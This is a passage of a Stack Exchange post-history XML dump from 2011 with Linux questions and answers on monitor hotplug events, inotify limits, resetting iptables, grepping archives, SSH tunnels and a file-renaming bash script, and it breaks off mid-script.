of the changes made :)" />
  <row Id="34334" PostHistoryTypeId="2" PostId="13746" RevisionGUID="e55a0f4a-6536-4ae7-8a96-ba34398f3b1c" CreationDate="2011-05-25T12:02:51.390" UserId="7574" Text="Is there _any_ event that is triggered when I plug in or out an external monitor into the DisplayPort of my laptop? ACPID and UDEV don't react at all. &#xD;&#xA;&#xD;&#xA;I'm using onboard graphics on an intel chip. [Here][1] is a similar discussion which is already a couple of years old. &#xD;&#xA;&#xD;&#xA;I don't want to use polling but I need to have some configuration that set's the display settings automatically depending on if the display is connected.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lists.x.org/archives/xorg/2007-July/026067.html" />
  <row Id="34335" PostHistoryTypeId="1" PostId="13746" RevisionGUID="e55a0f4a-6536-4ae7-8a96-ba34398f3b1c" CreationDate="2011-05-25T12:02:51.390" UserId="7574" Text="detect when a monitor is plugged in or out" />
  <row Id="34336" PostHistoryTypeId="3" PostId="13746" RevisionGUID="e55a0f4a-6536-4ae7-8a96-ba34398f3b1c" CreationDate="2011-05-25T12:02:51.390" UserId="7574" Text="édualömonitoràéudevàéacpià" />
  <row Id="34337" PostHistoryTypeId="2" PostId="13747" RevisionGUID="afa4362a-c44c-4ce1-bceb-68f5add45764" CreationDate="2011-05-25T12:10:18.527" UserId="7753" Text="Hello,&#xD;&#xA;&#xD;&#xA;I got a laptop with an Atheros card and I want to use it as wireless access point. I just need an AP with WPA/WPA2 encryption for testing purposes, I don't need any routing functionality or sth. else (if it has - no problem). A live CD would be already ok, I just want something easy to set up - like already mentioned it's not for productive use.&#xD;&#xA;I tried it on Ubuntu but I uess Ubuntu by default misses the drivers required to act as access point ):&#xD;&#xA;Thanks for any help / recommendation :-)&#xD;&#xA;" />
  <row Id="34338" PostHistoryTypeId="1" PostId="13747" RevisionGUID="afa4362a-c44c-4ce1-bceb-68f5add45764" CreationDate="2011-05-25T12:10:18.527" UserId="7753" Text="Set up an access point" />
  <row Id="34339" PostHistoryTypeId="3" PostId="13747" RevisionGUID="afa4362a-c44c-4ce1-bceb-68f5add45764" CreationDate="2011-05-25T12:10:18.527" UserId="7753" Text="élinuxàéwirelessà" />
  <row Id="34340" PostHistoryTypeId="25" PostId="13746" RevisionGUID="11a0f0b0-65d2-4ea8-972b-c906ecee2340" CreationDate="2011-05-25T12:12:41.580" Comment="http://twitter.com/#!/StackUnix/status/73360837850570752" />
  <row Id="34341" PostHistoryTypeId="2" PostId="13748" RevisionGUID="b17e309e-e5e4-46f6-abe7-d8b0ea73d702" CreationDate="2011-05-25T12:17:37.557" UserId="4815" Text="I am using Ubuntu 10.04. Sometime back after an update, all files in Ubuntu started showing a mime type of text/plain. This means that double clicking on any file opened it using gvim which is really annoying. How do I get Nautilus to recognize mime types based on file extension?&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="34342" PostHistoryTypeId="1" PostId="13748" RevisionGUID="b17e309e-e5e4-46f6-abe7-d8b0ea73d702" CreationDate="2011-05-25T12:17:37.557" UserId="4815" Text="Fixing mime type on Ubuntu" />
  <row Id="34343" PostHistoryTypeId="3" PostId="13748" RevisionGUID="b17e309e-e5e4-46f6-abe7-d8b0ea73d702" CreationDate="2011-05-25T12:17:37.557" UserId="4815" Text="éubuntuàénautilusàémimeötypesà" />
  <row Id="34344" PostHistoryTypeId="2" PostId="13749" RevisionGUID="cb01adb2-59cf-47ae-9ca8-15c5191de30a" CreationDate="2011-05-25T12:29:18.560" UserId="29" Text="I'm trying to find out what modules [`use Test::Version`](http://search.cpan.org/dist/Test-Version/lib/Version.pm) in cpan. So I've used [`minicpan`](http://search.cpan.org/dist/CPAN-Mini/bin/minicpan) to mirror it. My problem is that I need to iterate through the tarballs that are downloaded, and grep the files that are in the tarballs. Can anyone tell me how I might do this?" />
  <row Id="34345" PostHistoryTypeId="1" PostId="13749" RevisionGUID="cb01adb2-59cf-47ae-9ca8-15c5191de30a" CreationDate="2011-05-25T12:29:18.560" UserId="29" Text="How do I recursively grep through tarballs?" />
  <row Id="34346" PostHistoryTypeId="3" PostId="13749" RevisionGUID="cb01adb2-59cf-47ae-9ca8-15c5191de30a" CreationDate="2011-05-25T12:29:18.560" UserId="29" Text="étextöprocessingàéfindàétaràéarchiveà" />
  <row Id="34347" PostHistoryTypeId="2" PostId="13750" RevisionGUID="18ea596f-373e-4dd3-b0f9-9a999f4aae04" CreationDate="2011-05-25T12:33:58.423" UserId="29" Text="So someone decided to set my gnome background as a practical joke to a rather disturbing picture. However, I don't use gnome and only log into it by accident. I need to remove the picture so when I accidently log into gnome it's not there. Can someone tell me what part of what file to modify?" />
  <row Id="34348" PostHistoryTypeId="1" PostId="13750" RevisionGUID="18ea596f-373e-4dd3-b0f9-9a999f4aae04" CreationDate="2011-05-25T12:33:58.423" UserId="29" Text="How do I unset a background in gnome on the command line?" />
  <row Id="34349" PostHistoryTypeId="3" PostId="13750" RevisionGUID="18ea596f-373e-4dd3-b0f9-9a999f4aae04" CreationDate="2011-05-25T12:33:58.423" UserId="29" Text="écommandölineàégnomeà" />
  <row Id="34350" PostHistoryTypeId="2" PostId="13751" RevisionGUID="d673828e-fdaa-4fc8-86f5-5bfb70db19cc" CreationDate="2011-05-25T12:43:40.543" UserId="7755" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'm currently facing a problem on a linux box where as root I have commands returning error because inotify watch limit has been reached.&#xD;&#xA;&#xD;&#xA;    [root@localhost proc]# tail -f /var/log/messages&#xD;&#xA;    [...]&#xD;&#xA;    tail: cannot watch '/var/log/messages': No space left on device&#xD;&#xA;    [root@localhost proc]# inotifywatch -v /var/log/messages&#xD;&#xA;    Establishing watches...&#xD;&#xA;    Failed to watch /var/log/messages; upper limit on inotify watches reached!&#xD;&#xA;    Please increase the amount of inotify watches allowed per user via '/proc/sys/fs/inotify/max_user_watches'.` &#xD;&#xA;&#xD;&#xA;I googled a bit and every solution I found is to increase the limit with &#xD;&#xA;&#xD;&#xA;    sudo sysctl fs.inotify.max_user_watches=&lt;some random high number&gt;&#xD;&#xA;&#xD;&#xA;but I was unable to find any information of the consequences of raising that value. I guess the default kernel value was set for a reason but it seems to be inadequate for particular usages. (e.g. when using drop box with a large number of folder, or software that monitors a lot of files)&#xD;&#xA;&#xD;&#xA;So here are my questions:&#xD;&#xA;&#xD;&#xA;- Is it safe to raise that value and what would be the consequences of a too high value ?  &#xD;&#xA;- Is there a way to find out what are the currently set watches and which process set them to be able to determine if the reached limit is not caused by a faulty software.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34351" PostHistoryTypeId="1" PostId="13751" RevisionGUID="d673828e-fdaa-4fc8-86f5-5bfb70db19cc" CreationDate="2011-05-25T12:43:40.543" UserId="7755" Text="kernel inotify watch limit reached." />
  <row Id="34352" PostHistoryTypeId="3" PostId="13751" RevisionGUID="d673828e-fdaa-4fc8-86f5-5bfb70db19cc" CreationDate="2011-05-25T12:43:40.543" UserId="7755" Text="élinuxàékernelà" />
  <row Id="34353" PostHistoryTypeId="5" PostId="13747" RevisionGUID="83f7d5f7-5845-425c-9149-d3f2ca4c028e" CreationDate="2011-05-25T12:43:52.617" UserId="7753" Comment="typo; added 9 characters in body" Text="Hello,&#xD;&#xA;&#xD;&#xA;I got a laptop with an Atheros card and I want to use it as wireless access point. I just need an AP with WPA/WPA2 encryption for testing purposes, I don't need any routing functionality or sth. else (if it has - no problem). A live CD would be already ok, I just want something easy to set up - like already mentioned it's not for productive use.&#xD;&#xA;I tried it on Ubuntu but I guess Ubuntu by default misses the specials drivers required to act as access point ):&#xD;&#xA;Thanks for any help / recommendation :-)&#xD;&#xA;" />
  <row Id="34354" PostHistoryTypeId="2" PostId="13752" RevisionGUID="2dded1db-6d1b-408c-b919-ae8b47e4bd7b" CreationDate="2011-05-25T12:47:31.510" UserId="6960" Text="	gconftool-2 -t string -s /desktop/gnome/background/picture_options scaled # background style&#xD;&#xA;	gconftool-2 -t string -s /desktop/gnome/background/picture_filename PATHTOIMAGEHERE # background file" />
  <row Id="34355" PostHistoryTypeId="2" PostId="13753" RevisionGUID="c9ed02b6-88c3-43c7-a20b-23a397a5af82" CreationDate="2011-05-25T12:48:33.180" UserId="7574" Text="When I close or open my laptop lid, xfce executes _xfce4-display-settings --minimal_. I want to make that stop, but how? I found nothing in the settings under _/etc/xdg/xfce4_ and _.config/xfce4_." />
  <row Id="34356" PostHistoryTypeId="1" PostId="13753" RevisionGUID="c9ed02b6-88c3-43c7-a20b-23a397a5af82" CreationDate="2011-05-25T12:48:33.180" UserId="7574" Text="prevent XFCE from showing a the display settings on laptop lid close/open" />
  <row Id="34357" PostHistoryTypeId="3" PostId="13753" RevisionGUID="c9ed02b6-88c3-43c7-a20b-23a397a5af82" CreationDate="2011-05-25T12:48:33.180" UserId="7574" Text="éxfceàédisplayösettingsà" />
  <row Id="34359" PostHistoryTypeId="2" PostId="13755" RevisionGUID="630e11cd-efa1-4ba7-a739-cb34f2115a41" CreationDate="2011-05-25T13:06:01.597" UserId="6960" Text="Are there any simpler commands to these? (e.g.: a oneliner? can one command reset iptables/netfilter settings to this?)&#xD;&#xA;&#xD;&#xA;	IPTABLES=&quot;$(which iptables)&quot;&#xD;&#xA;&#xD;&#xA;	# RESET DEFAULT POLICIES&#xD;&#xA;	$IPTABLES -P INPUT ACCEPT&#xD;&#xA;	$IPTABLES -P FORWARD ACCEPT&#xD;&#xA;	$IPTABLES -P OUTPUT ACCEPT&#xD;&#xA;	$IPTABLES -t nat -P PREROUTING ACCEPT&#xD;&#xA;	$IPTABLES -t nat -P POSTROUTING ACCEPT&#xD;&#xA;	$IPTABLES -t nat -P OUTPUT ACCEPT&#xD;&#xA;	$IPTABLES -t mangle -P PREROUTING ACCEPT&#xD;&#xA;	$IPTABLES -t mangle -P OUTPUT ACCEPT&#xD;&#xA;&#xD;&#xA;	# FLUSH ALL RULES, ERASE NON-DEFAULT CHAINS&#xD;&#xA;	$IPTABLES -F&#xD;&#xA;	$IPTABLES -X&#xD;&#xA;	$IPTABLES -t nat -F&#xD;&#xA;	$IPTABLES -t nat -X&#xD;&#xA;	$IPTABLES -t mangle -F&#xD;&#xA;	$IPTABLES -t mangle -X" />
  <row Id="34360" PostHistoryTypeId="1" PostId="13755" RevisionGUID="630e11cd-efa1-4ba7-a739-cb34f2115a41" CreationDate="2011-05-25T13:06:01.597" UserId="6960" Text="How to reset all iptables settings?" />
  <row Id="34361" PostHistoryTypeId="3" PostId="13755" RevisionGUID="630e11cd-efa1-4ba7-a739-cb34f2115a41" CreationDate="2011-05-25T13:06:01.597" UserId="6960" Text="élinuxàéiptablesà" />
  <row Id="34362" PostHistoryTypeId="2" PostId="13756" RevisionGUID="b86971e0-6115-49a6-ad61-ca06cf54df63" CreationDate="2011-05-25T13:21:38.937" UserId="29" Text="It only gets simpler if you *know* that you haven't changed some of these default chains. Other than that, no, this is as simple as it gets. *except for the fact that you can put `#!/bin/sh` at the top and put it in a file and wham, one liner*" />
  <row Id="34363" PostHistoryTypeId="2" PostId="13757" RevisionGUID="4e96a6b9-cdce-4fe8-b931-c6d4407d4912" CreationDate="2011-05-25T13:21:41.247" UserId="688" Text="**Is it safe to raise that value and what would be the consequences of a too high value?**&#xD;&#xA;&#xD;&#xA;This is from [an old link][1], so might have changed, but the point is, raise it as high as you want:&#xD;&#xA;&#xD;&#xA;    inotify watch is 40 bytes&#xD;&#xA;    inotify device is 68 bytes&#xD;&#xA;    inotify event is 272 bytes&#xD;&#xA;&#xD;&#xA;**Is there a way to find out what are the currently set watches and which process set them to be able to determine if the reached limit is not caused by a faulty software?**&#xD;&#xA;&#xD;&#xA;I don't expect that there should be a way to find out who changes the value (here referring to &quot;**/proc/sys/fs/inotify/max_user_watches**&quot;). I guess very few codes need the values higher than the default (~8k). The only one such code I know is [Tracker][2] (a desktop indexer, among other things), and it makes such heavy use of the feature that the Debian package sets it to ~64k.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kerneltrap.org/node/3847&#xD;&#xA;  [2]: http://projects.gnome.org/tracker/" />
  <row Id="34364" PostHistoryTypeId="5" PostId="13751" RevisionGUID="94953664-aad5-42ea-80f9-43a7bdfa8ec0" CreationDate="2011-05-25T13:24:00.853" UserId="688" Comment="deleted 49 characters in body; edited title" Text="I'm currently facing a problem on a linux box where as root I have commands returning error because inotify watch limit has been reached.&#xD;&#xA;&#xD;&#xA;    # tail -f /var/log/messages&#xD;&#xA;    [...]&#xD;&#xA;    tail: cannot watch '/var/log/messages': No space left on device&#xD;&#xA;    # inotifywatch -v /var/log/messages&#xD;&#xA;    Establishing watches...&#xD;&#xA;    Failed to watch /var/log/messages; upper limit on inotify watches reached!&#xD;&#xA;    Please increase the amount of inotify watches allowed per user via '/proc/sys/fs/inotify/max_user_watches'.` &#xD;&#xA;&#xD;&#xA;I googled a bit and every solution I found is to increase the limit with:&#xD;&#xA;&#xD;&#xA;    sudo sysctl fs.inotify.max_user_watches=&lt;some random high number&gt;&#xD;&#xA;&#xD;&#xA;But I was unable to find any information of the consequences of raising that value. I guess the default kernel value was set for a reason but it seems to be inadequate for particular usages. (e.g., when using drop box with a large number of folder, or software that monitors a lot of files)&#xD;&#xA;&#xD;&#xA;So here are my questions: &#xD;&#xA;&#xD;&#xA;- Is it safe to raise that value and what would be the consequences of a too high value? &#xD;&#xA;- Is there a way to find out what are the currently set watches and which process set them to be able to determine if the reached limit is not caused by a faulty software?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34365" PostHistoryTypeId="4" PostId="13751" RevisionGUID="94953664-aad5-42ea-80f9-43a7bdfa8ec0" CreationDate="2011-05-25T13:24:00.853" UserId="688" Comment="deleted 49 characters in body; edited title" Text="Kernel inotify watch limit reached" />
  <row Id="34366" PostHistoryTypeId="5" PostId="13757" RevisionGUID="190e9f26-cfce-4339-805c-c48d2b4a47d8" CreationDate="2011-05-25T13:26:50.740" UserId="688" Comment="added 150 characters in body; deleted 3 characters in body; deleted 2 characters in body" Text="**Is it safe to raise that value and what would be the consequences of a too high value?**&#xD;&#xA;&#xD;&#xA;This is from [an old link][1], so might have changed, but the point is, raise it as high as you want:&#xD;&#xA;&#xD;&#xA;    inotify watch is 40 bytes&#xD;&#xA;    inotify device is 68 bytes&#xD;&#xA;    inotify event is 272 bytes&#xD;&#xA;&#xD;&#xA;**Is there a way to find out what are the currently set watches and which process set them to be able to determine if the reached limit is not caused by a faulty software?**&#xD;&#xA;&#xD;&#xA;I don't expect that there should be a way to find out who changes the value (here referring to &quot;**/proc/sys/fs/inotify/max_user_watches**&quot;). I guess very few codes need the values higher than the default (~8k). The only one such code I know is [Tracker][2] (a desktop indexer, among other things), and it makes such heavy use of the feature that the Debian package sets it to ~64k.&#xD;&#xA;&#xD;&#xA;**NOTE**: If you want the setting to be permanent, set it in &quot;**/etc/sysctl.conf**&quot;. Mine looks like:&#xD;&#xA;&#xD;&#xA;    fs.inotify.max_user_watches=100000&#xD;&#xA;&#xD;&#xA;  [1]: http://kerneltrap.org/node/3847&#xD;&#xA;  [2]: http://projects.gnome.org/tracker/" />
  <row Id="34367" PostHistoryTypeId="2" PostId="13758" RevisionGUID="e8bff6d2-3817-492e-86da-ebf35eaaa09a" CreationDate="2011-05-25T13:36:47.573" UserId="7758" Text="Hi,&#xD;&#xA;&#xD;&#xA;I have a flat file which contains the following data records between H: and T:. &#xD;&#xA;&#xD;&#xA;    H:20050427 HEADER RECORD&#xD;&#xA;    0000000 00000 000000000 123456 00 654321 DATARECORD&#xD;&#xA;    0000000 00000 000000000 123456 00 654321 DATARECORD&#xD;&#xA;    0000000 00000 000000000 123456 00 654321 DATARECORD&#xD;&#xA;    0000000 00000 000000000 123456 00 654321 DATARECORD&#xD;&#xA;    T:20050427 TRAILER RECORD&#xD;&#xA;    [blank space]&#xD;&#xA;&#xD;&#xA;[blank space] is a new line (carriage return key) created with no records after T:&#xD;&#xA;&#xD;&#xA;How do I remove the blank space(s) (if present) from the file and create a new file with data which are present between H: and T:?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Arun" />
  <row Id="34368" PostHistoryTypeId="1" PostId="13758" RevisionGUID="e8bff6d2-3817-492e-86da-ebf35eaaa09a" CreationDate="2011-05-25T13:36:47.573" UserId="7758" Text="Create a new file by removing the new line character at the end of file." />
  <row Id="34369" PostHistoryTypeId="3" PostId="13758" RevisionGUID="e8bff6d2-3817-492e-86da-ebf35eaaa09a" CreationDate="2011-05-25T13:36:47.573" UserId="7758" Text="éshellöscriptàékshà" />
  <row Id="34370" PostHistoryTypeId="5" PostId="13758" RevisionGUID="02e4ce7a-0b0b-40db-a4f1-330c6ba73783" CreationDate="2011-05-25T13:37:45.893" UserId="73" Comment="deleted 22 characters in body" Text="I have a flat file which contains the following data records between H: and T:. &#xD;&#xA;&#xD;&#xA;    H:20050427 HEADER RECORD&#xD;&#xA;    0000000 00000 000000000 123456 00 654321 DATARECORD&#xD;&#xA;    0000000 00000 000000000 123456 00 654321 DATARECORD&#xD;&#xA;    0000000 00000 000000000 123456 00 654321 DATARECORD&#xD;&#xA;    0000000 00000 000000000 123456 00 654321 DATARECORD&#xD;&#xA;    T:20050427 TRAILER RECORD&#xD;&#xA;    [blank space]&#xD;&#xA;&#xD;&#xA;[blank space] is a new line (carriage return key) created with no records after T:&#xD;&#xA;&#xD;&#xA;How do I remove the blank space(s) (if present) from the file and create a new file with data which are present between H: and T:?&#xD;&#xA;" />
  <row Id="34371" PostHistoryTypeId="2" PostId="13759" RevisionGUID="f55a9a50-247f-44c1-822a-74ae8e5ee81e" CreationDate="2011-05-25T13:37:48.710" UserId="29" Text="It appears that I can do it this way&#xD;&#xA;&#xD;&#xA;    find authors/ -type f -exec zgrep &quot;Test::Version&quot; '{}' +  &#xD;&#xA;&#xD;&#xA;However, this gives results like:&#xD;&#xA;&#xD;&#xA;    authors/id/J/JO/JONASBN/Module-Info-File-0.11.tar.gz:Binary file (standard input) matches&#xD;&#xA;&#xD;&#xA;which is not very specific to where in the tarball. Hopefully someone can come up with a better answer." />
  <row Id="34372" PostHistoryTypeId="5" PostId="13749" RevisionGUID="568a7e6d-2072-4769-98ee-43d959f01052" CreationDate="2011-05-25T13:39:59.067" UserId="29" Comment="add some additional desired criteria." Text="I'm trying to find out what modules [`use Test::Version`](http://search.cpan.org/dist/Test-Version/lib/Version.pm) in cpan. So I've used [`minicpan`](http://search.cpan.org/dist/CPAN-Mini/bin/minicpan) to mirror it. My problem is that I need to iterate through the archives that are downloaded, and grep the files that are in the tarballs. Can anyone tell me how I might do this? preferably in a way that tells me which file in the archive and what line it's on." />
  <row Id="34373" PostHistoryTypeId="4" PostId="13749" RevisionGUID="568a7e6d-2072-4769-98ee-43d959f01052" CreationDate="2011-05-25T13:39:59.067" UserId="29" Comment="add some additional desired criteria." Text="How do I recursively grep through compressed archives?" />
  <row Id="34374" PostHistoryTypeId="6" PostId="13749" RevisionGUID="568a7e6d-2072-4769-98ee-43d959f01052" CreationDate="2011-05-25T13:39:59.067" UserId="29" Comment="add some additional desired criteria." Text="étextöprocessingàégrepàéfindàéarchiveà" />
  <row Id="34375" PostHistoryTypeId="2" PostId="13760" RevisionGUID="2897a3ea-c695-4794-a3cc-3cc8c3ab9e59" CreationDate="2011-05-25T13:42:24.290" UserId="73" Text="You're kind of asking two different questions; I'm not sure which you're actually trying to do&#xD;&#xA;&#xD;&#xA;### Remove blank lines&#xD;&#xA;&#xD;&#xA;Use `awk` to match any line with a character on it and only output those:&#xD;&#xA;&#xD;&#xA;    $ awk '/./ {print}' /path/to/your/file&#xD;&#xA;&#xD;&#xA;### Only output lines between H: and T:&#xD;&#xA;&#xD;&#xA;Use `awk` to match the lines that start with `H:` and `T:` and only output the lines between them (this assumes none of the other lines will have those prefixes):&#xD;&#xA;&#xD;&#xA;    $ awk '/^H:/,/^T:/ {print}' /path/to/your/file&#xD;&#xA;" />
  <row Id="34376" PostHistoryTypeId="2" PostId="13761" RevisionGUID="1cdc39f2-b35f-4482-b550-549dd558dcdd" CreationDate="2011-05-25T13:42:26.057" UserId="7226" Text="If you just want to remove **all** `[blank space]` lines:&#xD;&#xA;&#xD;&#xA;    sed '/^[[:space:]]*$/ d' filename&#xD;&#xA;&#xD;&#xA;or to print only between H: and T: lines:&#xD;&#xA;&#xD;&#xA;    sed -n '/^H:.*/, /^T:.*/ p' filename" />
  <row Id="34377" PostHistoryTypeId="5" PostId="13761" RevisionGUID="f80ed5cf-9b45-4e49-83e1-4e97930f7b88" CreationDate="2011-05-25T13:47:36.457" UserId="7226" Comment="added 60 characters in body; added 46 characters in body" Text="If you just want to remove **all** `[blank space]` (may contain any whitespace in general) lines:&#xD;&#xA;&#xD;&#xA;    sed '/^[[:space:]]*$/ d' filename &gt; newfile&#xD;&#xA;&#xD;&#xA;or simply&#xD;&#xA;&#xD;&#xA;    grep . filename &gt; newfile&#xD;&#xA;&#xD;&#xA;or to print only between H: and T: lines:&#xD;&#xA;&#xD;&#xA;    sed -n '/^H:.*/, /^T:.*/ p' filename &gt; newfile" />
  <row Id="34378" PostHistoryTypeId="5" PostId="13761" RevisionGUID="7428ec2f-8415-412e-ae3d-253868fff1cf" CreationDate="2011-05-25T13:53:31.003" UserId="7226" Comment="added 34 characters in body" Text="If you just want to remove **all** `[blank space]` (may contain any whitespace in general) lines:&#xD;&#xA;&#xD;&#xA;    sed '/^[[:space:]]*$/ d' filename &gt; newfile&#xD;&#xA;&#xD;&#xA;or simply (why bother with `awk` or `sed`):&#xD;&#xA;&#xD;&#xA;    grep . filename &gt; newfile&#xD;&#xA;&#xD;&#xA;or to print only between H: and T: lines:&#xD;&#xA;&#xD;&#xA;    sed -n '/^H:.*/, /^T:.*/ p' filename &gt; newfile" />
  <row Id="34379" PostHistoryTypeId="2" PostId="13762" RevisionGUID="0720db83-24a6-4f95-a928-6c20f0d00e64" CreationDate="2011-05-25T14:05:09.697" UserId="6960" Text="e.g.: If I'm using Firefox, and filling out a big form (with lot's of text to write) and for some reason I accidentally press F5 and all my text in the forms are &quot;losts&quot; then I can use e.g.: &#xD;&#xA;&#xD;&#xA;http://mh-nexus.de/en/hxd/&#xD;&#xA;&#xD;&#xA;under windows to retrieve those texts, because they're still in the memory (but I can't see them in the forms in Firefox). So my text's aren't lost at all, hurrah. &lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;But: how can I do the same under Linux? (e.g. Fedora)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks!" />
  <row Id="34380" PostHistoryTypeId="1" PostId="13762" RevisionGUID="0720db83-24a6-4f95-a928-6c20f0d00e64" CreationDate="2011-05-25T14:05:09.697" UserId="6960" Text="Program to modify process in memory" />
  <row Id="34381" PostHistoryTypeId="3" PostId="13762" RevisionGUID="0720db83-24a6-4f95-a928-6c20f0d00e64" CreationDate="2011-05-25T14:05:09.697" UserId="6960" Text="élinuxàéprocessàémemoryà" />
  <row Id="34382" PostHistoryTypeId="2" PostId="13763" RevisionGUID="93d02bcb-ff68-4ae9-bfaa-9c27123b6b71" CreationDate="2011-05-25T14:22:44.847" UserId="7760" Text="Thanks for the challenge, I came up with:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    # tarballs to check in&#xD;&#xA;    find authors/ -type f | while read tarball; do&#xD;&#xA;    &#xD;&#xA;        # get list of files in tarball (not dirs ending in /):&#xD;&#xA;        tar tzf $tarball | grep -v '/$' | while read file; do       &#xD;&#xA;    &#xD;&#xA;            # get contents of file and look for string&#xD;&#xA;            tar -Ozxf conform.tar.gz $file | grep -q 'Text::Version' &amp;&amp; echo &quot;Tar ($tarball) has matching File ($file)&quot;&#xD;&#xA;    &#xD;&#xA;        done&#xD;&#xA;    &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34383" PostHistoryTypeId="2" PostId="13764" RevisionGUID="0c12c346-01fc-4432-be18-1a45797270df" CreationDate="2011-05-25T14:41:14.047" UserId="6960" Text="If I&#xD;&#xA;&#xD;&#xA;	ssh -fND localhost:6000 USERNAME@IPADDRESS -p PORTNUMBER&#xD;&#xA;&#xD;&#xA;then how can they monitor on the ssh server that what am I browsing/(traffic)? E.g.: if I set my webbrowser to use 127.0.0.1:6000 SOCKS5 proxy?&#xD;&#xA;&#xD;&#xA;I know this solution: ~ http://unix.stackexchange.com/questions/12499/iptables-pf-rule-to-only-allow-xy-application-user/12507#12507 - that traffic could be monitored in a per user basis, but what can they do if there is only 1 ssh user, and that 1 ssh user is used by many people behind 1 public IP address/NATed network?&#xD;&#xA;&#xD;&#xA;I know that solution too that If I doesn't set &quot;network.proxy.socks_remote_dns&quot; to True in Firefox, then they can see my DNS traffic, because it's resolved in my side." />
  <row Id="34384" PostHistoryTypeId="1" PostId="13764" RevisionGUID="0c12c346-01fc-4432-be18-1a45797270df" CreationDate="2011-05-25T14:41:14.047" UserId="6960" Text="How to monitor traffic when SSH tunneling?" />
  <row Id="34385" PostHistoryTypeId="3" PostId="13764" RevisionGUID="0c12c346-01fc-4432-be18-1a45797270df" CreationDate="2011-05-25T14:41:14.047" UserId="6960" Text="élinuxàésshà" />
  <row Id="34386" PostHistoryTypeId="5" PostId="13749" RevisionGUID="a8ee0969-9e93-4095-92cd-c297bf9b4d4c" CreationDate="2011-05-25T14:43:01.817" UserId="29" Comment="note about zip" Text="I'm trying to find out what modules [`use Test::Version`](http://search.cpan.org/dist/Test-Version/lib/Version.pm) in cpan. So I've used [`minicpan`](http://search.cpan.org/dist/CPAN-Mini/bin/minicpan) to mirror it. My problem is that I need to iterate through the archives that are downloaded, and grep the files that are in the archives. Can anyone tell me how I might do this? preferably in a way that tells me which file in the archive and what line it's on.&#xD;&#xA;&#xD;&#xA;*(note: they aren't all tarballs some are zip files)*" />
  <row Id="34387" PostHistoryTypeId="2" PostId="13765" RevisionGUID="9e67e30b-6f8e-41e4-a257-b29f6c62d14c" CreationDate="2011-05-25T15:04:45.267" UserId="6960" Text="	#!/bin/bash&#xD;&#xA;&#xD;&#xA;	# usage: sh normalizer-renamer.sh &quot;/home/user/Desktop/somedir&quot;&#xD;&#xA;	# if the mentioned path contains e.g.: &quot;\&quot;, or special chars, then you need to escape them with a &quot;\&quot; sign&#xD;&#xA;&#xD;&#xA;	# user input check&#xD;&#xA;	if [ &quot;$1&quot; == &quot;&quot; ]; then echo &quot;error: no directory name given&quot;; exit 1; fi&#xD;&#xA;	if [ &quot;$1&quot; == &quot;/&quot; ]; then echo &quot;hint: don't rename recursively the whole \&quot;/\&quot; directory&quot;; exit 1; fi&#xD;&#xA;	if ! cd &quot;$1&quot;; then echo &quot;error: can't \&quot;cd\&quot; into dir&quot;; exit 1; fi&#xD;&#xA;&#xD;&#xA;	# are you sure?&#xD;&#xA;	function yesno&#xD;&#xA;		{&#xD;&#xA;		read -p &quot;Are you sure? [yes/no] &quot;&#xD;&#xA;	case $(echo $REPLY | tr '[:upper:]' '[:lower:]') in&#xD;&#xA;		yes)&#xD;&#xA;		clear&#xD;&#xA;		;;&#xD;&#xA;&#xD;&#xA;		no)&#xD;&#xA;		echo &quot;You answered \&quot;no\&quot;&quot;&#xD;&#xA;		exit 1&#xD;&#xA;		;;&#xD;&#xA;&#xD;&#xA;		*)&#xD;&#xA;		clear&#xD;&#xA;		echo &quot;Please answer \&quot;yes\&quot; or \&quot;no\&quot;.&quot;&#xD;&#xA;		echo&#xD;&#xA;		yesno&#xD;&#xA;		;;&#xD;&#xA;&#xD;&#xA;	esac&#xD;&#xA;&#xD;&#xA;		}&#xD;&#xA;&#xD;&#xA;	yesno&#xD;&#xA;&#xD;&#xA;	# start main part&#xD;&#xA;	for DEPTH in {0..300}&#xD;&#xA;		do find . -mindepth $DEPTH -maxdepth $DEPTH -type d | while read FOLDERNAME&#xD;&#xA;			do&#xD;&#xA;&#xD;&#xA;	# no accents&#xD;&#xA;	FOLDERNAME2=$(echo &quot;$FOLDERNAME&quot; | sed &quot;s/$/\//g&quot; | sed &quot;s/\/\/$/\//g&quot;)&#xD;&#xA;	ls &quot;$FOLDERNAME&quot; | while read FILENAME; do NEWNAME=$(echo -n &quot;$FILENAME&quot; | sed 's/á/a/g' | sed 's/í/i/g' | sed 's/[üűú]/u/g' | sed 's/[öőó]/o/g' | sed 's/é/e/g' | sed 's/Á/A/g' | sed 's/Í/I/g' | sed 's/[ÜŰÚ]/U/g' | sed 's/[ÖŐÓ]/O/g' | sed 's/É/E/g'); mv &quot;$FOLDERNAME2$FILENAME&quot; &quot;$FOLDERNAME2$NEWNAME&quot; 2&gt;&amp;1 | egrep -v 'are the sa| to a subdirectory of'; done&#xD;&#xA;&#xD;&#xA;	# other special chars - ASCII Codes 33.. ..255&#xD;&#xA;	FOLDERNAME2=$(echo &quot;$FOLDERNAME&quot; | sed &quot;s/$/\//g&quot; | sed &quot;s/\/\/$/\//g&quot;)&#xD;&#xA;	ls &quot;$FOLDERNAME&quot; | while read FILENAME; do NEWNAME=$(echo -n &quot;$FILENAME&quot; | sed 's/ /-/g' | sed 's/[!&quot;?]//g' | sed 's/[#\$%()*+,:;&lt;=&gt;[\^_`{|}~‚„…†‡ˆ‰‹‘’“”•–—˜™›¦§¨«¬¯°±´¶·¸º»]/-/g' | sed 's/&amp;/-and-/g' | sed &quot;s/'//g&quot; | sed 's/@/-at-/g' | sed 's/\]/-/g' | sed 's/€/eur/g' | sed 's/ƒ/f/g' | sed 's/Š/S/g' | sed 's/Œ/OE/g' | sed 's/Ž/Z/g' | sed 's/š/s/g' | sed 's/œ/oe/g' | sed 's/ž/z/g' | sed 's/Ÿ/Y/g' | sed 's/¡/i/g' | sed 's/¢/cent/g' | sed 